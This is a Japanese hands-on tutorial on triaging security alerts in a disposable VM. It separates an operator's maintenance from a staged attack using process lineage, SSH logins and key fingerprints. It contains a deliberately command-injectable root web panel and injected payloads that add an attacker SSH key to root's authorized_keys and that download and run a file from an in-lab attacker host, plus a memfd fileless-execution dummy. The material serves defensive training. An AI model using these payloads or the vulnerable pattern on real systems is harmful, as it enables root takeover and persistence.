サーバー運用者の危機対応

アラートが鳴ったとき(誤報か本物か)

運用者の保守作業とダミーの攻撃を同じ VM で起こし、7件の通知を、親プロセス・SSH のログイン・鍵の指紋・実行の記録で、誤報か本物かに振り分けます。

  • レベル: 基礎
  • 約40分
  • 2026-11-12

#状況

午前 10 時半ごろ、1分のあいだに通知が7件届きました

ファイルの改ざん、一時ディレクトリからの実行、/etc/shadow の読み取り、メモリ上のファイルからの実行。あなたは当番の運用者です。同じ時間に、同僚の運用者がこのサーバーで保守作業をしていたことも分かっています。

通知の多くは、自分たちの作業でも鳴ります。全部を本物として扱うと、手が回りません。全部を誤報として片付けると、本物を見落とします。この講座では、通知を1件ずつ、誤報か本物かに振り分ける手順を、使い捨ての VM の中で実際に起こして確かめます。

順番すること使うもの
1. 起こす運用者の作業と、ダミーの攻撃を、同じ VM で起こすネットワーク名前空間、わざと脆弱にした練習用のサービス
2. 読む通知ごとに、何が・誰が・どのプロセスが・親は何かを読む通知の履歴、重要システムファイルの改ざん監視、プロセス実行の記録と攻撃手口の検知、カーネル層の侵入検知と自律隔離
3. 裏を取る時系列と実行の記録で、通知の中身を確かめるインシデントのタイムライン、events tree、events search、sshd のログ
4. 対応する隔離を続けるか、解くか、許可リストに足すか、調べ続けるかを決めるserver ebpf、封じ込め時の証拠の自動採取、emergency-restore
5. 元に戻す練習の場を片付ける

許可リストの書き方は 誤検知を減らす設定 で、隔離が働いたあとの1時間の進め方は 封じ込めが働いたあとの最初の1時間 で扱いました。この講座は、その手前の「この1件は誤報か、本物か」の判断に絞ります。

練習は、使い捨ての環境で

この講座は、わざと脆弱なサービスを動かし、root の authorized_keys に鍵の行を書き足します。必ず使い捨ての VM で行います。攻撃役の通信は、VM の中の名前空間からだけ送り、VM の外には向けません。足す鍵は、この場で作る練習用のものです。

#練習の場を用意し、通知を起こす

VM の中に、2つの接続元を作ります。どちらも、VM の中のネットワーク名前空間です。

アドレス役
10.99.0.2保守作業をする同僚の運用者(鍵で SSH ログインする)
10.99.0.3攻撃者(自分の配布用サーバーを持つ)

サーバーの上では、練習用の管理画面 labapp.service を root で動かします。/ping?host= の値をそのままシェルに渡す、わざと脆弱なものです。古い管理画面が root で動いている、という設定です。

Falco、接続元、練習用のサービスを用意する

パッケージを入れ、サービスとネットワークの設定を足す操作です(変更を伴う操作です)。戻し方は、最後の演習にあります。

eBPF ガードのセンサーとして Falco を入れます。Falco の配布元から入れます。

curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
  | sudo gpg --batch --yes --dearmor -o /usr/share/keyrings/falco-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] https://download.falco.org/packages/deb stable main" \
  | sudo tee /etc/apt/sources.list.d/falcosecurity.list >/dev/null
sudo apt-get update -qq
sudo DEBIAN_FRONTEND=noninteractive FALCO_FRONTEND=noninteractive FALCO_DRIVER_CHOICE=modern_ebpf apt-get install -y -qq falco
sudo roamswitch server restart
systemctl is-active falco-modern-bpf
実行結果
active

接続元の名前空間と、練習用の鍵を2つ作ります。運用者の鍵 lab_op と、攻撃者が足す鍵 lab_atk です。どちらも、この場で作るものです。

sudo ip netns add outside
sudo ip link add veth-host type veth peer name veth-out
sudo ip link set veth-out netns outside
sudo ip addr add 10.99.0.1/24 dev veth-host
sudo ip link set veth-host up
sudo ip netns exec outside ip addr add 10.99.0.2/24 dev veth-out
sudo ip netns exec outside ip addr add 10.99.0.3/24 dev veth-out
sudo ip netns exec outside ip link set veth-out up
sudo ssh-keygen -q -t ed25519 -N "" -C lab-operator -f /root/lab_op
sudo ssh-keygen -q -t ed25519 -N "" -C backup@example -f /root/lab_atk
sudo cat /root/lab_op.pub >> /home/admin/.ssh/authorized_keys

練習用の管理画面と、攻撃者が配るダミーのファイルを置きます。ダミーのファイルは、/bin/sleep をメモリ上のファイル(memfd)にコピーし、そこから動かすだけです。ファイルを残さずに動かす手口の、形だけをまねます。

sudo mkdir -p /srv/labapp /srv/lab-attacker
sudo tee /srv/labapp/app.py >/dev/null <<'P'
# 練習用のダミーの管理画面。/ping?host= の値をそのままシェルに渡す(わざと脆弱にしてある)
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import subprocess
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        host = parse_qs(urlparse(self.path).query).get("host", ["127.0.0.1"])[0]
        out = subprocess.run("ping -c1 -W1 " + host, shell=True, capture_output=True, text=True).stdout
        self.send_response(200); self.end_headers(); self.wfile.write(out.encode())
HTTPServer(("0.0.0.0", 80), H).serve_forever()
P
printf '[Service]\nExecStart=/usr/bin/python3 /srv/labapp/app.py\n' | sudo tee /etc/systemd/system/labapp.service >/dev/null
sudo systemctl daemon-reload
sudo systemctl start labapp
sudo tee /srv/lab-attacker/update >/dev/null <<'P'
#!/usr/bin/python3
# 練習用のダミー: /bin/sleep をメモリ上のファイルにコピーし、そこから動かすだけ
import os
fd = os.memfd_create("kworker", 0)
os.write(fd, open("/bin/sleep", "rb").read())
os.execv(f"/proc/self/fd/{fd}", ["kworker", "120"])
P
sudo ip netns exec outside setsid python3 -m http.server 8080 --bind 10.99.0.3 --directory /srv/lab-attacker </dev/null >/dev/null 2>&1 &
sudo ip netns exec outside curl -s 'http://10.99.0.1/ping?host=127.0.0.1' | head -2
sudo roamswitch fim update
実行結果
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.024 ms
  📝 現在のシステムファイルからベースラインDBを再作成中...
  ✓ ベースラインDBを正常に更新・署名保存しました。 (92 件記録)
  ✓ SUID / SGID ファイルの基準を更新しました。 (20 件記録)

サービスが待ち受けを始める前に curl が届くと、PING の行は出ません。そのときは、curl の行をもう一度実行します。最後の fim update は、準備で変えたファイル(運用者の鍵、ユニットのファイル)を、改ざんの基準に入れるためです。ここから先の変更だけが、通知に出ます。準備のあいだにも、この2つのファイルの改ざんの通知が、その場で1件ずつ届きます。

最後に、パッケージの操作が動いていないことを確かめます。VM を起動した直後は、自動の更新(unattended-upgrades)が動くことがあります。パッケージの操作の最中は、改ざんの通知が、その操作の終わりまで後回しになります。

sudo fuser -v /var/lib/dpkg/lock-frontend; echo fuser=$?
実行結果
fuser=1

1 は、dpkg の鍵を握っているプロセスがない、という意味です。0 のときは、終わるのを待ってから先へ進みます。

続いて、誤報になりやすい作業と、本物の兆候を起こします。先に、同僚の運用者の作業を起こします。SSH で入り、設定を1行変え、手元の確認用のツールを /tmp から動かし、パスワードの記録を1行確かめます。どれも、ふだんの保守でありうる操作です。

運用者の作業と、攻撃を、続けて起こす

/etc/ssh/sshd_config と root の authorized_keys を変える操作です(変更を伴う操作です)。戻し方は、後の演習にあります。

O="-i /root/lab_op -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o BatchMode=yes"
sudo ip netns exec outside ssh $O -b 10.99.0.2 admin@10.99.0.1 '
sudo sed -i "s/^#MaxAuthTries 6/MaxAuthTries 3/" /etc/ssh/sshd_config
cp /usr/bin/df /tmp/diskcheck
/tmp/diskcheck -h / | tail -1
sudo grep -c "^admin:" /etc/shadow'
実行結果
/dev/vda1        17G  3.8G   14G  23% /
1

次に、攻撃者が管理画面の穴を突きます。1回目は root の authorized_keys に鍵の行を足し、2回目は自分のサーバーからファイルを落として動かします。

sudo ip netns exec outside curl -s -G --max-time 5 http://10.99.0.1/ping \
  --data-urlencode "host=127.0.0.1; echo \"$(sudo cat /root/lab_atk.pub)\" >> /root/.ssh/authorized_keys" | head -1
sudo ip netns exec outside curl -s -G --max-time 10 http://10.99.0.1/ping \
  --data-urlencode 'host=127.0.0.1; mkdir -p /tmp/.cache; curl -s -o /tmp/.cache/update http://10.99.0.3:8080/update; chmod +x /tmp/.cache/update; /tmp/.cache/update'; echo "curl: exit $?"
実行結果
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
curl: exit 28

2回目は、応答が返らないまま、10 秒で打ち切られました(終了コード 28)。理由は、対応の章で確かめます。通知の履歴の見出しを、新しい順に並べます。

sudo roamswitch notifications --json | jq -r '.[] | .timestamp[11:19] + "  " + .title' | head -n 12
出力の抜粋(新しい7件)
01:26:40  eBPF ランタイム脅威検知: Fileless execution via memfd_create (Critical)
01:26:40  🔎 不審な実行パターンを検知
01:26:40  🔎 不審な実行パターンを検知
01:26:40  クリティカルパス改ざん検知 (FIM) (1 件の改ざん)
01:26:40  eBPF ランタイム脅威検知: Read sensitive file untrusted (Warning)
01:26:40  クリティカルパス改ざん検知 (FIM) (1 件の改ざん)
01:26:40  🔎 不審な実行パターンを検知

時刻は UTC です。日本時間では 10:26 です。この下には、準備の操作による通知が続きます。見出しだけでは、どれが同僚の作業で、どれが攻撃かは分かりません。

1分ほどたつと、いちばん上に別の通知が届くことがあります。この VM では、「悪用の恐れが高い脆弱性が、未修正のまま残っています」と「オンにした保護が働いていません」(緊急通知の経路が一つもない)が届きました。サーバーの点検の通知で、攻撃とは別のものです。この講座では、上の7件を振り分けます。

#通知を1件ずつ読む

通知の本文には、決まった手がかりがあります。1件ごとに、次の4つを読みます。

問い本文で見る行
何が起きたか検知ルール、変わったファイル、深刻度
誰がプロセス: の行のアカウント。ログインしたアカウント があれば、sudo の前の人
どのプロセスがプロセス: の行の実行ファイルとコマンド
親は何か親プロセス: の行。FIM なら SSH ログイン: か、どのサービスのプロセスか
7件の本文を読み比べる

読み取りだけの操作です。

sudo roamswitch notifications --json | jq -r '.[0:7][] | "== " + .timestamp[11:19] + "  " + .title, .body, ""'

上に別の通知が届いていたら、その件数だけずらします。1件なら .[1:8]、2件なら .[2:9] です。

まず、ファイルの改ざん(FIM)の2件です。

出力の抜粋(FIM の2件)
== 01:26:40  クリティカルパス改ざん検知 (FIM) (1 件の改ざん)
/root/.ssh/authorized_keys: 内容の変更
  プロセス: root / /usr/bin/dash / コマンド: /bin/sh -c ping -c1 -W1 127.0.0.1; echo 'ssh-ed25519 SHA256:eNsxCxUl8PSDRUpVtoy1k/N/ndnL7rFJWGx8B5kuM+U backup@example' >> /root/.ssh/authorized_keys (pid 2873)
  SSH のログインは見つかりませんでした(systemd サービス labapp.service のプロセスです)

== 01:26:40  クリティカルパス改ざん検知 (FIM) (1 件の改ざん)
/etc/ssh/sshd_config: 内容の変更
  プロセス: root(ログインしたアカウント: admin) / /usr/bin/sed / コマンド: sed -i s/^#MaxAuthTries 6/MaxAuthTries 3/ /etc/ssh/sshd_config (pid 2770)
  SSH ログイン: 10.99.0.2:44859 から admin が 2026-11-12 01:26:39 にログインしたセッションです(認証: publickey, 鍵 SHA256:UHLHPX/fbNCVG+TxQH+8SIxtCCWdoLq1d8bVLOB5QXI)

どちらも root が重要なファイルを変えています。違いは、その root がどこから来たかです。

  • sshd_config: admin が 10.99.0.2 から SSH でログインし、sudo で sed を動かしました。人の作業の形です。ログインに使った鍵の指紋も出ます
  • authorized_keys: SSH のログインはありません。labapp.service の中のシェルが、ping のあとに echo ... >> を続けています。管理画面に渡した値が、そのままコマンドになっています。足された鍵は、本体を伏せて指紋(SHA256:…)で出ます

次に、実行の記録の3件です。

出力の抜粋(実行の記録の3件)
== 01:26:40  🔎 不審な実行パターンを検知
一時ディレクトリ・削除済み・memfd からの実行 (EXR-002)
プロセス: /memfd:kworker (PID: 2907) / 重要度: 高
詳細: memfd:kworker が匿名メモリファイル (memfd) から実行されました。分類: memfd、パス: /memfd:kworker
次の確認コマンド: sudo roamswitch events tree 2907
(通知のみ・遮断はしていません)
プロセス: root / /memfd:kworker (deleted) / コマンド: kworker 120 (pid 2907)
親プロセス: dash ← python3.12 ← systemd

== 01:26:40  🔎 不審な実行パターンを検知
ダウンロード直後のファイル実行 / curl|sh (EXR-003)
プロセス: /usr/bin/python3.12 (PID: 2907) / 重要度: 中
詳細: python3.12 が、http://10.99.0.3:8080/update からダウンロードされたファイルを 120 秒以内に実行しました。出力先: /tmp/.cache/update
次の確認コマンド: sudo roamswitch events tree 2907
(通知のみ・遮断はしていません)
プロセス: root / /usr/bin/python3.12 / コマンド: /usr/bin/python3 /tmp/.cache/update (pid 2907)
親プロセス: dash ← python3.12 ← systemd

== 01:26:40  🔎 不審な実行パターンを検知
一時ディレクトリ・削除済み・memfd からの実行 (EXR-002)
プロセス: /tmp/diskcheck (PID: 2772) / 重要度: 中
詳細: 誰でも書き込めるディレクトリからの実行です。分類: tmp、パス: /tmp/diskcheck
次の確認コマンド: sudo roamswitch events tree 2772
(通知のみ・遮断はしていません)
プロセス: admin / /tmp/diskcheck / コマンド: /tmp/diskcheck -h / (pid 2772)
親プロセス: bash ← sshd ← sshd ← sshd ← systemd

同じ EXR-002 が2件あります。ルールの名前だけでは、振り分けられません。

  • /tmp/diskcheck: 親は bash ← sshd。SSH のセッションから、admin が動かしました。重要度は中です
  • /memfd:kworker: 親は dash ← python3.12 ← systemd。管理画面の python の子です。EXR-003 と同じ PID 2907 で、10.99.0.3 から落としたファイルが、メモリ上のファイルに化けています。重要度は高です
  • 実行の記録の通知は、どれも「通知のみ・遮断はしていません」です。次に打つ events tree のコマンドが、本文に入っています

最後に、eBPF ガードの2件です。

出力の抜粋(eBPF ガードの2件)
== 01:26:40  eBPF ランタイム脅威検知: Fileless execution via memfd_create (Critical)
深刻度: Critical
自律防御アクション: サービス labapp.service の通信を遮断 + SIGKILL で終了
プロセス: root / memfd:kworker / コマンド: 3 120 (pid 2907)
サービス: labapp.service
検知から対処まで: 328 ミリ秒

== 01:26:40  eBPF ランタイム脅威検知: Read sensitive file untrusted (Warning)
深刻度: Warning
自律防御アクション: 記録のみ(ガードの設定により、遮断しない)
プロセス: root(ログインしたアカウント: admin) / /usr/bin/grep / コマンド: grep -c ^admin: /etc/shadow (pid 2795) ※プロセスは既に終了していたため、実行の記録(2026-11-12 01:26:40)から補いました。
親プロセス: sudo ← sshd ← sshd ← sshd ← systemd
🔎 自動一次判定: 誤検知の可能性 高
根拠: 検知ルール「Read sensitive file untrusted」は一般的に誤検知が多いことが知られています。
  • memfd の実行(Critical): ガードは、このプロセスの通信を labapp.service の単位で止め、328 ミリ秒で終了させました。止めた単位は、「自律防御アクション」の行に出ます。すでに封じ込めが働いています。コマンドの 3 120 は、メモリ上のファイルを /proc/self/fd/3 から動かしたため、プロセス名が 3 になったものです。実行の記録の通知には、本来の kworker 120 が出ています
  • /etc/shadow の読み取り(Warning): 親は sudo ← sshd で、ログインしたアカウント: admin のとおり admin の操作です。記録だけで、止めていません

ここまでを、表にまとめます。

時刻(UTC)通知誰が・親は振り分け
01:26:40EXR-002 /tmp/diskcheckadmin、bash ← sshd運用者の作業
01:26:40FIM sshd_configadmin の sudo、10.99.0.2 からの SSH運用者の作業
01:26:40eBPF Warning /etc/shadowadmin の sudo、sudo ← sshd運用者の作業
01:26:40FIM authorized_keysroot、labapp.service、SSH なし本物
01:26:40EXR-003 ダウンロードして実行root、dash ← python3.12 ← systemd本物
01:26:40EXR-002 memfd同じ PID 2907本物
01:26:40eBPF Critical memfd同じ PID 2907、通信の遮断と終了本物

この表は、まだ仮の振り分けです。運用者の3件は、「SSH のセッションから来た」ことしか分かっていません。そのセッションが本当に同僚のものかは、次の章で確かめます。

「誤報」と決めてよい条件

次の4つが、すべてそろったときだけです。

  1. 親をたどると、SSH のセッションに着く。サービスや Web サーバーの子ではない
  2. そのログインが、自分たちのもの。接続元、時刻、鍵の指紋が、作業した人と合う
  3. 時刻が、作業の記録と合う。同僚に聞いて、その時刻にその操作をしたと確かめる
  4. 変わった中身が、意図した変更だけ。sshd_config なら、変えた1行だけ

1つでも欠けたら、本物として扱います。サービスの子のシェルが重要なファイルを変えた、知らないアドレスから落としたファイルを動かした、メモリ上のファイルから動いた。この3つは、作業の記録があっても、まず本物として調べます。

自動一次判定の「誤検知の可能性 高」は、ルールの一般的な傾向です。この1件が誰の操作かは見ていません。逆に、改ざんの一次調査レポート(/var/lib/roamswitch/fim_investigations/)は、sudoers、SSH の設定、authorized_keys、shadow、PAM の変更を、ほかの兆候によらず「誤検知の可能性: 低」にします(コードで確認)。同僚の作業でも同じです。

#時系列と実行の記録で、裏を取る

通知の本文は、要点だけです。時系列と実行の記録で、前後を確かめます。

時系列、プロセスの系譜、ログインを確かめる

読み取りだけの操作です。PID は、手元の通知の値に読み替えてください。

sudo roamswitch timeline | head -n 60
出力の抜粋
  2026-11-12T01:26:40.885951016+00:00  [eBPF Guard]  対応中
    Fileless execution via memfd_create: サービス labapp.service の通信を遮断 + SIGKILL で終了
    プロセス: memfd:kworker (pid 2907)
    検知→遮断の所要時間: 326ms
    実施した対応: サービス labapp.service の通信を遮断 + SIGKILL で終了
    証拠バンドル: 20261112T012640Z-a7285ba5-2945  manifest sha256:2318f2a68d4de8a9  (0 ファイル)

  └─ 2026-11-12T01:26:40.969400875+00:00  [Incident Capture]  対応中
       インシデント証拠バンドルを保存しました: /var/lib/roamswitch/incident-evidence/20261112T012640Z-a7285ba5-2945
       実施した対応: 証拠を保存
       証拠バンドル: 20261112T012640Z-a7285ba5-2945  manifest sha256:2318f2a68d4de8a9  (0 ファイル)

  2026-11-12T01:26:40.857164799+00:00  [Incident Capture]  対応中
    インシデント証拠バンドルを保存しました: /var/lib/roamswitch/incident-evidence/20261112T012640Z-96720b90-2928
    プロセス: memfd:kworker (pid 2907)
    実施した対応: 証拠を保存
    証拠バンドル: 20261112T012640Z-96720b90-2928  manifest sha256:acb2c16ac305b508  (6 ファイル)

  2026-11-12T01:26:40.652287685+00:00  [Exec Recorder]  記録のみ
    EXR-002: memfd:kworker が匿名メモリファイル (memfd) から実行されました。分類: memfd、パス: /memfd:kworker
    プロセス: /memfd:kworker (pid 2907)
    親プロセス系譜: dash ← python3.12 ← systemd
    MITRE ATT&CK: T1620 (Reflective Code Loading)
    実施した対応: 記録して通知

  2026-11-12T01:26:40.589722689+00:00  [Exec Recorder]  記録のみ
    EXR-003: python3.12 が、http://10.99.0.3:8080/update からダウンロードされたファイルを 120 秒以内に実行しました。出力先: /tmp/.cache/update
    プロセス: /usr/bin/python3.12 (pid 2907)
    親プロセス系譜: dash ← python3.12 ← systemd
    MITRE ATT&CK: T1105 (Ingress Tool Transfer)
    実施した対応: 記録して通知

  2026-11-12T01:26:40.444078337+00:00  [eBPF Guard]  記録のみ
    Read sensitive file untrusted: 記録のみ(ガードの設定により、遮断しない)
    プロセス: grep (pid 2795)
    親プロセス系譜: sudo ← sshd ← sshd ← sshd ← systemd
    MITRE ATT&CK: T1552 (Unsecured Credentials)
    実施した対応: 記録のみ(ガードの設定により、遮断しない)

  2026-11-12T01:26:40.440019800+00:00  [FIM]  記録のみ
    /root/.ssh/authorized_keys: 内容の変更(SSH のログインは見つからない: service labapp.service)
    プロセス: dash (pid 2873)
    実施した対応: 記録して通知

ガード、実行の記録、FIM、証拠の保存が、1本の時系列に並びます。01:26:40.44 の鍵の追加から、01:26:40.97 の封じ込めまで、1 秒たらずです。終了させる前に、プロセスの状態(6 ファイル)を保存しています。見出しの右の「対応中」は封じ込めが働いた行、「記録のみ」は知らせただけの行です。

events tree で、2つの EXR-002 の親を、PID でたどります。

sudo roamswitch events tree 2907
sudo roamswitch events tree 2772
実行結果
1 /usr/lib/systemd/systemd
2514 /usr/bin/python3.12
2901 /usr/bin/dash
        2907 /memfd:kworker 120
1 /usr/lib/systemd/systemd
2651 /usr/sbin/sshd
2652 /usr/sbin/sshd
2765 /usr/sbin/sshd
2768 /usr/bin/bash
            2772 /tmp/diskcheck -h /

memfd の親の親は、PID 2514 の python3 です。それが何かを確かめます。

systemctl status labapp --no-pager | head -4
実行結果
● labapp.service
     Loaded: loaded (/etc/systemd/system/labapp.service; static)
     Active: active (running) since Thu 2026-11-12 01:26:06 UTC; 1min 12s ago
   Main PID: 2514 (python3)

管理画面のサービスです。攻撃が1回だけとは限りません。events search --parent に親の PID を渡すと、そのプロセスが直接起動したものが、すべて並びます。

sudo roamswitch events search --since 1h --parent 2514
実行結果
2026-11-12T01:26:40.538Z pid=2901 ppid=2514 root /usr/bin/dash -c ping -c1 -W1 127.0.0.1; mkdir -p /tmp/.cache; curl -s -o /tmp/.cache/update http://10.99.0.3:8080/update; chmod +x /tmp/.cache/update; /tmp/.cache/update
2026-11-12T01:26:40.438Z pid=2873 ppid=2514 root /usr/bin/dash -c ping -c1 -W1 127.0.0.1; echo 'ssh-ed25519 SHA256:eNsxCxUl8PSDRUpVtoy1k/N/ndnL7rFJWGx8B5kuM+U backup@example' >> /root/.ssh/authorized_keys
2026-11-12T01:26:07.880Z pid=2538 ppid=2514 root /usr/bin/dash -c ping -c1 -W1 127.0.0.1

3行です。一番下の 01:26:07 は、準備の演習で確かめた正しい使い方です。上の2行が、攻撃者の2回の要求です。足された鍵は、ここでも指紋で出ます。

次は、運用者の側です。通知の SSH ログイン の行は、接続元、ログインの時刻、鍵の指紋を示します。sshd のログでも同じログインを確かめ、同僚が使う鍵の指紋と比べます。

sudo journalctl -u ssh --since -30min --no-pager | grep Accepted
ssh-keygen -lf /home/admin/.ssh/authorized_keys
実行結果
Nov 12 01:26:39 ubuntu sshd[2652]: Accepted publickey for admin from 10.99.0.2 port 44859 ssh2: ED25519 SHA256:UHLHPX/fbNCVG+TxQH+8SIxtCCWdoLq1d8bVLOB5QXI
256 SHA256:UHLHPX/fbNCVG+TxQH+8SIxtCCWdoLq1d8bVLOB5QXI lab-operator (ED25519)

sshd[2652] は、events tree 2772 に出た sshd の PID と同じです。ポートの 44859 と鍵の指紋も、通知の SSH ログイン の行と同じです。鍵は lab-operator、同僚の鍵です。ここまでで、条件の1と2がそろいました。3と4は、同僚に時刻と操作を聞いて確かめます。

root の authorized_keys に足された行の指紋と、FIM の今の結果も見ておきます。

sudo tail -n 1 /root/.ssh/authorized_keys | ssh-keygen -lf -
sudo roamswitch fim verify
出力の抜粋
256 SHA256:eNsxCxUl8PSDRUpVtoy1k/N/ndnL7rFJWGx8B5kuM+U backup@example (ED25519)
  🔍 最重要システムファイルの整合性を検証中... (92 件)
  🚨 ファイルの変更・改ざんが検知されました!
    [内容の変更] /etc/ssh/sshd_config
    [内容の変更] /root/.ssh/authorized_keys

指紋は、通知と events search に出た指紋と同じです。足されたのは、この鍵だと特定できます。

調べている途中で、別の人がパッケージを入れることがあります。そのときの fim verify を見ます。まず、今の結果を控えます。

sudo roamswitch fim verify | grep -F '[内容の変更]' | sudo tee /root/fim-before-apt.txt
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y -qq chrony > /tmp/apt-chrony.log 2>&1; echo "apt: exit $?"
grep -A5 RoamSwitch /tmp/apt-chrony.log
sudo roamswitch fim verify | sed -n 1,5p
実行結果
    [内容の変更] /root/.ssh/authorized_keys
    [内容の変更] /etc/ssh/sshd_config
apt: exit 0
RoamSwitch: パッケージ chrony がシステムグループ _chrony (GID 112) を追加しました。FIM の基準に取り込みました。
RoamSwitch: パッケージ chrony がシステムアカウント _chrony (UID 109、ログイン不可) を追加しました。FIM の基準に取り込みました。
RoamSwitch: パッケージの更新で説明できない変更が 2 件あり、FIM の基準に取り込みませんでした。
  /etc/ssh/sshd_config (内容の変更): どのパッケージのファイルでもありません (更新の前から、基準と違っていました)
  /root/.ssh/authorized_keys (内容の変更): どのパッケージのファイルでもありません (更新の前から、基準と違っていました)
確認: sudo roamswitch fim verify。正しい変更だと確かめたら: sudo roamswitch fim update
  🔍 最重要システムファイルの整合性を検証中... (92 件)
  🚨 ファイルの変更・改ざんが検知されました!
    [内容の変更] /root/.ssh/authorized_keys
    [内容の変更] /etc/ssh/sshd_config
  このうち 2 件は、2026-11-12 01:27 のパッケージの更新で説明できなかったため、基準に取り込んでいない変更です。

apt のあとも、2件は fim verify に残りました。RoamSwitch は apt のフック(/etc/apt/apt.conf.d/99roamswitch-fim)で、更新の前後を記録します。基準に取り込むのは、その更新のパッケージが持ち主で、中身がパッケージの記録と一致する変更だけです。chrony が足したシステムアカウントは、1行ずつ知らせたうえで取り込みました。

調べ終わるまで、`fim update` を実行しない

sudo roamswitch fim update は、そのときのファイルを、改ざんも含めてまるごと基準にします。実行すると、攻撃者の鍵も fim verify に出なくなります。改ざんの通知を受けたら、最初に fim verify の結果を控え、調べ終わるまで fim update を実行しないよう、ほかの運用者に伝えます。通知の履歴と時系列には、改ざんの記録が残ります。

#対応を決める

振り分けが終わったら、通知ごとに対応を決めます。選べるのは、隔離を続ける、隔離を解く、許可リストに足す、調べ続ける、の4つです。

隔離の範囲を確かめ、入口を閉じてから解く

サービスを止め、鍵の行を消し、隔離を解く操作です(変更を伴う操作です)。

いまの隔離を見ます。

sudo roamswitch server ebpf
出力の抜粋
  現在の隔離状態: [隔離中: サービス labapp.service の通信]
  隔離対象PID: [2907 (終了済み)]
  隔離したプロセス(2907)はすでに終了しています。通信を止める規則は、サービス labapp.service の通信全体に掛かっているため、残ったままです。解除は sudo roamswitch emergency-restore です。
  保守用開放ポート: [22]
  インシデント発生後の最初の1時間: https://roamswitch.com/incident-first-hour.html
  最終対処時刻: 2026-11-12T01:26:40.558958166+00:00

  【検知されたインシデント】
   🚨 [2026-11-12T01:26:40.556582034Z] Fileless execution via memfd_create - サービス labapp.service の通信を遮断 + SIGKILL で終了 (プロセス: memfd:kworker)
   🚨 [2026-11-12T01:26:40.232286961Z] Read sensitive file untrusted - 記録のみ(ガードの設定により、遮断しない) (プロセス: grep)

隔離の単位は、プロセスが属するサービス labapp.service です。プロセスは終わっていても、通信を止める規則は残っています。規則の中身と、効き目を確かめます。

sudo nft list ruleset | grep -n -B3 -A3 "cgroupv2"
sudo ip netns exec outside curl -s --max-time 5 'http://10.99.0.1/ping?host=127.0.0.1' >/dev/null; echo "curl: exit $?"
sudo ip netns exec outside ssh $O -b 10.99.0.2 admin@10.99.0.1 'echo ssh ok from $SSH_CLIENT'
実行結果
94-table inet roamswitch_isolate {
95-	chain process_block {
96-		type filter hook output priority dstnat; policy accept;
97:		socket cgroupv2 level 2 "system.slice/labapp.service" drop
98-	}
99-}
curl: exit 28
ssh ok from 10.99.0.2 36595 22

規則は、labapp.service から出る通信を捨てます。攻撃の演習で2回目の要求が打ち切られたのは、これで応答が返らなくなったためです。運用者の SSH は通ります。証拠の保存先も見ます。

sudo ls /var/lib/roamswitch/incident-evidence/
sudo sh -c 'for d in /var/lib/roamswitch/incident-evidence/*; do echo "$d"; ls "$d"; done'
実行結果
20261112T012640Z-96720b90-2928
20261112T012640Z-a7285ba5-2945
/var/lib/roamswitch/incident-evidence/20261112T012640Z-96720b90-2928
manifest.json
process
/var/lib/roamswitch/incident-evidence/20261112T012640Z-a7285ba5-2945
manifest.json

process には、終了させる前のプロセスの状態(コマンドライン、環境変数、メモリの配置、開いていたファイル、系譜、状態)が入っています。もう1つのバンドルは、パケットの記録の分です。この VM では tshark がないため、manifest.json に「tshark が見つかりません(Debian・Ubuntu では tshark パッケージ…)」と記録され、空でした。

入口を閉じます。サービスを止め、足された鍵の行と、落とされたファイルを消します。

sudo systemctl stop labapp
sudo sed -i '/backup@example/d' /root/.ssh/authorized_keys
sudo rm -rf /tmp/.cache
sudo roamswitch fim verify
出力の抜粋
  🚨 ファイルの変更・改ざんが検知されました!
    [内容の変更] /etc/ssh/sshd_config
  このうち 1 件は、2026-11-12 01:27 のパッケージの更新で説明できなかったため、基準に取り込んでいない変更です。

鍵の行を消すと、authorized_keys は基準と同じに戻り、一覧から消えました。残ったのは、同僚の sshd_config の変更です。変えたのが意図した1行だけだと確かめたので、基準を取り直し、隔離を解きます。emergency-restore は、確認に y と答えると実行します。

sudo roamswitch fim update
sudo roamswitch emergency-restore
sudo roamswitch server ebpf | sed -n 5,6p
出力の抜粋
  ✓ ベースラインDBを正常に更新・署名保存しました。 (92 件記録)
  ✓ SUID / SGID ファイルの基準を更新しました。 (20 件記録)

  現在の状態:
    ピンポイント隔離中(止めている範囲: サービス labapp.service の通信)
  ネットワークを復旧しますか? [y/N] y
  🔄 緊急遮断・隔離ルールを全解除し、ベースラインへ復旧中...
    ✓ 隔離の記録
    ✓ 通信を止めうるファイアウォールのテーブル
    ✓ DNSの設定
    ✓ 接続の追跡
  次のファイアウォールのテーブルは、隔離ではないので残しました:
    - roamswitch_server: サーバーの受信の規則(ssh_ports・allowed_ports だけを通す、ふだんの防御)
  ✓ ネットワークを復旧しました。
  ポートスキャンの検知など、ここで外した規則は、再起動まで戻りません。戻すには: sudo systemctl restart roamswitch-server

  現在の隔離状態: [隔離なし]
  最終対処時刻: 2026-11-12T01:28:01.799431041+00:00

確認の前に、いま止めている範囲(サービス labapp.service の通信)が出ます。y で、その規則が外れました。server ebpf は「隔離なし」です。

通知ごとの対応

本物と振り分けたもの(管理画面からの4件)

  • 隔離を続ける: 入口(labapp.service)が開いている間は、解きません。解くと、同じ要求がまた通ります
  • 調べ続ける: events search --parent <サービスの PID> で、そのサービスが起動したものを全部読みます。鍵の追加のように、封じ込めの前に済んだ操作が見つかります
  • 隔離を解く: サービスを止め、足された鍵とファイルを消し、fim verify で確かめてからです。その後の進め方は 封じ込めが働いたあとの最初の1時間 にあります

誤報と振り分けたもの(同僚の3件)

  • sshd_config の変更: 変えた1行だけかを確かめ、攻撃の後始末が済んでから fim update で基準に入れます
  • /tmp/diskcheck の実行: 許可リストは、eBPF ガードの封じ込めのためのものです。実行の記録の通知は止まりません。確認用のツールは /tmp ではなく、管理された場所に置いてもらいます
  • /etc/shadow の読み取り: 記録だけで、封じ込めはしていません。許可リストに足しても、通知は続きます(誤検知を減らす設定)。足す理由がないので、記録として閉じます
やってはいけないこと
  • memfd の実行のルールを、許可リストに足す。ファイルを残さない実行は、攻撃でよく使われます。許可した組は封じ込められなくなります
